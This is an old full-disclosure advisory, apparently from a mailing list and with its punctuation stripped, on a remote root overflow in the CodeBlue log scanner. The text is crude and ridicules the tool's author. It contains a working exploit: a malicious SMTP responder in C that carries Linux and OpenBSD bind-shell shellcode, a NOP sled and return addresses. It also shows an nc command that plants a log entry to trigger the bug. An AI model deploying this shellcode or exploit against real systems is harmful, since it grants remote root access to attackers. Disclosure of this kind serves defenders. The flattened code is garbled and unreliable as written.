demi sex god hell doeorbitalwiretappednet title potential remote root codeblue log scanner name demi sex god hell adv 00001 date yes please mail female send pictures crazy tracking number makes look like massive database juarez 7363a64b02 props dme information may remember sweaty nights passion perhaps yesterday announced release piece software wrote many years ago btw general received feedback cept one guy problems downloading howd go btw michael demi sex god hell subject ass attack spoofing shell annoying pointless well rude really uncalled propz dme yo gay bi curious went find mystical michael obviously important one felt need tell didnt like turns hes bit programmer code available website wwwtenebrouscom got codeblue btw mystical mike autodownload script counter gives 500 error log checking utility mystical mike wrote released gnu gpl make world better place tool run root say nightly roots crontab potential remote root case regardless user always remote codeblue locally suid theres many overflows throughout easy peasy like girls st patricks note st patricks great place sydney playground rich famous visit ever visit sydney tell sent lets walk code get feel mystical mike man behind mystic wear crazy robe hood like monk mike cd codeblue ls changes copying makefile readme codebluec head copying gnu general public license version 2 june 1991 copyright c 1989 1991 free software foundation inc 59 temple place suite 330 boston 021111307 usa everyone permitted copy distribute verbatim copies license document changing allowed preamble uhoh vi codebluec header usrsrcprojectscodebluecodebluecv 11 20010802 204001 root exp root g b l e e r c codeblue v50 michael mystictenebrouscom software freely distributable terms gnugpl please see file copying god bless america mystical mike line 273 siginal_init sets signals wed like handle specially void signal_initvoid struct sigaction sa_old sa_new signal handling sa_newsa_handler signal_handler sigemptysetsa_newsa_mask sa_newsa_flags 0 sigactionsigint sa_new sa_old sigactionsigpipe sa_new sa_old shared signal handler sorts stuff good mike line 289 close wrapper int closeint sd return closesd made laugh line 661 char logline512 logline global int scan_filefile fp char buffer1024 fgetsbuffer 1024 fp found_infected 1 picks worm entry log true strcpylogline buffer oh dear line 827 char reply512 global char whoispath512 usrbinwhois global int mainint argc char argv argvi0 switch argvi1 case e return email address argvi 1 argvi 10 diewithrequireargvi strcpyreply argvi 1 break case p path whois binary argvi 1 argvi 10 diewithrequireargvi strcpywhoispath argvi 1 break whoops good laugh unless suid much use codeblue scan apachesquid logfiles looking code red nimda log hits finds hit connect source ip adress hit send email warning infection unfortunately mystical mike far high horse write something decent function send_email line 552 starts like int send_emailvoid int sd char host mallocsizeofchar 512 silly crap using popen stuff host infected host logfiles connect host port 25 sd smtp_connecthost success return 1 step 0 get initial server response get_smtp_replysd function interest line 345 fetches reply smtp server int get_smtp_replyint sd char response1024 remote hosts mail server buf well loop infinately receiving 1 byte time receive carriage return linefeed character signifying end output gee sounds like good idea mystical mike true selectsd 1 rset null null tv 0 errno einprogress fprintfstderr error select failed sn strerrorerrno return 1 recvsd int responsei 1 recv_fl 0 hello errno eagain elapsed smtp_timeout fprintfstderr error operation timed outn fprintflog error operation timed outn return 1 elapsed usleepsmtp_timeout 10000 continue else flags fl_bequiet fprintfstderr error recv failed sn strerrorerrno fprintflog error recv failed sn strerrorerrno return 1 responsei n responsei n responsei 1 n break come often baby slowly surely response overrun unless newline hi exploit doesnt work enough point right direction though overflow get_smtp_reply codebluec pretty damn poor funny mood one afternoon made software publicly available next morning see mailbox begin spouting mystictenebrouscom mon jul 22 195046 2002 returnpath deliveredto doeorbitalwiretappednet received qmail 2711 invoked network 22 jul 2002 195045 0000 received mail110mailbellsouthnet helo imf10bisbellsouthnet 2051525850 orbitalwiretappednet smtp 22 jul 2002 195045 0000 received michaels 68161746 imf10bisbellsouthnet intermail vm5010419 20125312212211920020516 esmtp id 20020722195143xjoi21884imf10bisbellsouthnetmichaels mon 22 jul 2002 155143 0400 michael demi sex god hell subject ass attack spoofing shell date mon 22 jul 2002 155013 0400 messageid 000101c231b8fedc77400200a8c0michaels mimeversion 10 contenttype textplain charsetusascii contenttransferencoding 7bit xpriority 3 normal xmsmailpriority normal xmailer microsoft outlook build 1002616 importance normal xmimeole produced microsoft mimeole v60026000000 inreplyto status ro annoying pointless end spouting rude visit wwwtenebrouscom found software written master coder use webserver using codeblue printf get scriptsrootexernrn nc 80 add entry access log host mystic_anus 25 wait codeblue runs pull ip logs connect port 25 try send mail mystic idiot get shell openbsd code like exclamation marks krad haxxor props dedmunk happy ph1ll1p caddis buo solace everyone cw everyone paris lovely city lovely time last weekend thankyou dedmunk everyone netcraft esp mike hi everyone sydney dedmunk everyone go drinking anyone lives london marlinspike yo woman sells cigarettes morning way work thomas greene dedmunk adam durab sh00ter big shout toliman zero sum understand propz dme dont forget header usrsrcprojectscodebluecodebluecv 11 20010802 204001 root exp root g b l e e r c include include include include include include include include include define 2048 bigger needed optimized code works better bad situations dont know wrote sorry wrote let know char lunix_shellcode x89xe5x31xd2xb2x66x89xd0x31xc9x89xcbx43x89x5dxf8 x43x89x5dxf4x4bx89x4dxfcx8dx4dxf4xcdx80x31xc9x89 x45xf4x43x66x89x5dxecx66xc7x45xeex0fx27x89x4dxf0 x8dx45xecx89x45xf8xc6x45xfcx10x89xd0x8dx4dxf4xcd x80x89xd0x43x43xcdx80x89xd0x43xcdx80x89xc3x31xc9 xb2x3fx89xd0xcdx80x89xd0x41xcdx80xebx18x5ex89x75 x08x31xc0x88x46x07x89x45x0cxb0x0bx89xf3x8dx4dx08 x8dx55x0cxcdx80xe8xe3xffxffxffbinsh shell port 6969tcp shellcode openbsd noir long bsd_shellcode 0x4151c9310x515141510x61b0c0310x078980cd 0x4f88c9310x0547c6040x084f89020x0647c766 0x106a391b0x5004478d0x5050078b0x68b0c031 0x016a80cd0x5050078b0x6ab0c0310xc93180cd 0x078b51510xc03150500x80cd1eb00xc9310789 0x50078b510xb0c031500x4180cd5a0x7503f983 0x5b23ebef0xc9311f890x89074b880x8d51044f 0x078b50070xc03150500x80cd3bb00x5151c931 0x01b0c0310xd8e880cd0x2fffffff0x2f6e6962 0x90416873 int mainint argc char argv struct sockaddr_in sock_in struct sockaddr_in sock_out char port 25 int fd int len int opt char bigbufof char p long lunix_resp 0xbfffe0ac long bsd_resp 0xdfbfc068 char moo 220 long resp lunix_resp char shellcode lunix_shellcode printfstrlen scode dn strlenshellcode argc 2 port argv1 argc 2 fprintfstderr usege portn argv0 exit1 resp 8 p bigbuf memcpyp moo 4 p 4 memsetp x90 1020 strlenshellcode p 1020 strlenshellcode memcpyp shellcode strlenshellcode p strlenshellcode memcpyp resp 4 p 4 memcpyp resp 4 p 4 memsetp n 4 fd socketpf_inet sock_stream 0 0 perrorsocket exit1 memsetsock_in 0 sizeofsock_in sock_insin_family af_inet sock_insin_port htonsatoiport sock_insin_addrs_addr inaddr_any len sizeofsock_in opt 1 setsockoptfd sol_socket so_reuseaddr opt sizeofint 1 perrorsetsockopt exit1 bindfd struct sockaddr sock_in len 0 perrorbind exit1 listenfd 5 0 perrorlisten exit1 printflistening port dn atoiport len sizeofsock_out acceptfd struct sockaddr sock_out len 0 perroraccept exit1 printfgot connection sn inet_ntoasock_outsin_addr fflushstdout writea bigbuf sizeofbigbuf closea return1 thu 25 jul 2002 020500 1000 est vulnwatch remote hole codeblue log scanner